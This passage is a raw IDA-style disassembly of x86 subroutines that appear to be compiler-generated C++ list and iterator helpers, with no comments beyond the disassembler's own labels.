ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_415040: ; CODE XREF: sub_414E10+82j ; sub_414E10+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414E10 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415100 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401ED8 sub_415100 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415140 proc near ; CODE XREF: sub_401726j arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_401ED8 sub_415140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016D6 mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_401735 mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151C0 proc near ; CODE XREF: sub_401582j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40146F mov edx, [esi+4] mov ecx, esi push edx call sub_401CE9 sub_4151C0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415230 proc near ; CODE XREF: sub_4012E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401DBB mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415230 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415270 proc near ; CODE XREF: sub_401D9Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401DBB mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415270 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4152A0 proc near ; CODE XREF: sub_401488j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D9D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40217B sub_4152A0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152E0 proc near ; CODE XREF: sub_401258j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401D70 test al, al jz short loc_41536D push edi mov edi, [esp+14h+arg_0] loc_41531F: ; CODE XREF: sub_4152E0+8Aj lea ecx, [esp+14h+var_C] call sub_401FC3 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415351 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401578 mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- jmp short loc_41535A ; --------------------------------------------------------------------------- loc_415351: ; CODE XREF: sub_4152E0+4Ej lea ecx, [esp+14h+var_C] call sub_4020C2 loc_41535A: ; CODE XREF: sub_4152E0+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401D70 test al, al jnz short loc_41531F pop edi loc_41536D: ; CODE XREF: sub_4152E0+38j pop esi add esp, 0Ch retn 4 sub_4152E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153B0 proc near ; CODE XREF: sub_401E38j push esi mov esi, ecx call sub_401ED3 mov eax, esi pop esi retn sub_4153B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153D0 proc near ; CODE XREF: sub_401FC3j mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_4153D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153F0 proc near ; CODE XREF: sub_4020C2j push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_4153F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 neg al sbb eax, eax inc eax retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415450 proc near ; CODE XREF: sub_401F23j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C8F sub_415450 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415490 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E33 sub_415490 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415500 proc near ; CODE XREF: sub_401992j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401249 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401CDA mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415500 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415540 proc near ; CODE XREF: sub_402257j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401CDA mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415540 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415570 proc near ; CODE XREF: sub_401F0Fj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402257 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401AAA sub_415570 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155B0 proc near ; CODE XREF: sub_401933j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4155B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_401154j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401AEB test al, al jz short loc_41568D push edi mov edi, [esp+14h+arg_0] loc_41563F: ; CODE XREF: sub_415600+8Aj lea ecx, [esp+14h+var_C] call sub_4011D1 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415671 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_4010DC mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- jmp short loc_41567A ; --------------------------------------------------------------------------- loc_415671: ; CODE XREF: sub_415600+4Ej lea ecx, [esp+14h+var_C] call sub_4018C5 loc_41567A: ; CODE XREF: sub_415600+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401AEB test al, al jnz short loc_41563F pop edi loc_41568D: ; CODE XREF: sub_415600+38j pop esi add esp, 0Ch retn 4 sub_415600 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156D0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E97 mov eax, esi pop esi retn sub_4156D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156F0 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402144 add esp, 4 retn sub_4156F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415710 proc near ; CODE XREF: sub_4018C5j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415710 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415740 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EC4 neg al sbb eax, eax inc eax retn 4 sub_415740 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415770 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DB6 sub_415770 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157B0 proc near ; CODE XREF: sub_4014BFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B mov edx, [esi+4] mov ecx, esi push edx call sub_401F14 sub_4157B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415820 proc near ; CODE XREF: sub_401901j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401BCC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D7A mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415860 proc near ; CODE XREF: sub_40114Aj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D7A mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415860 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415890 proc near ; CODE XREF: sub_401410j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401D11 sub_415890 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158D0 proc near ; CODE XREF: sub_401C76j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B pop esi add esp, 0Ch retn sub_4158D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415920 proc near ; CODE XREF: sub_40214Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401339 test al, al jz short loc_4159AD push edi mov edi, [esp+14h+arg_0] loc_41595F: ; CODE XREF: sub_415920+8Aj lea ecx, [esp+14h+var_C] call sub_40135C mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415991 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401EBF mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41599A ; --------------------------------------------------------------------------- loc_415991: ; CODE XREF: sub_415920+4Ej lea ecx, [esp+14h+var_C] call sub_40118B loc_41599A: ; CODE XREF: sub_415920+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401339 test al, al jnz short loc_41595F pop edi loc_4159AD: ; CODE XREF: sub_415920+38j pop esi add esp, 0Ch retn 4 sub_415920 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159F0 proc near ; CODE XREF: sub_402275j push esi mov esi, ecx call sub_401E42 mov eax, esi pop esi retn sub_4159F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A10 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017E4 add esp, 4 retn sub_415A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A30 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BCC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415A30 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A60 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401456 neg al sbb eax, eax inc eax retn 4 sub_415A60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A90 proc near ; CODE XREF: sub_40113Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_40175D mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415A90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AD0 proc near ; CODE XREF: sub_4016D6j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_40175D mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415AD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415B00 proc near ; CODE XREF: sub_40217Bj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C62 mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401ED8 sub_415B00 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401F19 add esp, 4 mov ecx, esi push eax call sub_4021B7 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401DBB mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415BA0 proc near ; CODE XREF: sub_401735j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CBC test al, al jz short loc_415BED push edi mov edi, [esp+8+arg_0] loc_415BBA: ; CODE XREF: sub_415BA0+4Aj lea ecx, [esp+8+arg_4] call sub_401A5F push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40217B ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_40210D lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CBC test al, al jnz short loc_415BBA pop edi loc_415BED: ; CODE XREF: sub_415BA0+13j pop esi retn 0Ch sub_415BA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C20 proc near ; CODE XREF: sub_401FCDj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401578 mov ecx, eax call sub_401C62 mov esi, eax push esi call sub_4020A9 push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_4020A9 mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401F19 add esp, 1Ch mov ecx, edi push eax call sub_401500 push esi mov ecx, edi call sub_401CE9 sub_415C20 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CE0 proc near ; CODE XREF: sub_40146Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jz short loc_415D3A loc_415CF8: ; CODE XREF: sub_415CE0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401578 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jnz short loc_415CF8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415D3A: ; CODE XREF: sub_415CE0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415CE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415D70 proc near ; CODE XREF: sub_401ED8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020F4 sub_415D70 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415D85 mov edi, esi loc_415D85: ; CODE XREF: ___:00415D81j push esi call sub_4020A9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415D9A mov edi, esi loc_415D9A: ; CODE XREF: ___:00415D96j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DC0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E1A sub_415DC0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DE0 proc near ; CODE XREF: sub_4020A9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415DE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E00 proc near ; CODE XREF: sub_401F19j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E20 proc near ; CODE XREF: sub_401ED3j mov eax, ecx retn sub_415E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E40 proc near ; CODE XREF: sub_401DBBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40175D mov eax, esi pop esi retn 4 sub_415E40 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E70 proc near ; CODE XREF: sub_401578j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020C2 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415E70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415EA0 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415EA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415ED0 proc near ; CODE XREF: sub_401AAAj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F8C mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C8F sub_415ED0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402144 add esp, 4 mov ecx, esi push eax call sub_4015F0 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401CDA mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415F70 proc near ; CODE XREF: sub_4017E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F8C mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402144 add esp, 1Ch mov ecx, edi push eax call sub_401D61 push esi mov ecx, edi call sub_401E33 sub_415F70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416030 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jz short loc_41608A loc_416048: ; CODE XREF: sub_416030+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jnz short loc_416048 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_41608A: ; CODE XREF: sub_416030+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416030 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4160C0 proc near ; CODE XREF: sub_401C8Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015AF sub_4160C0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov 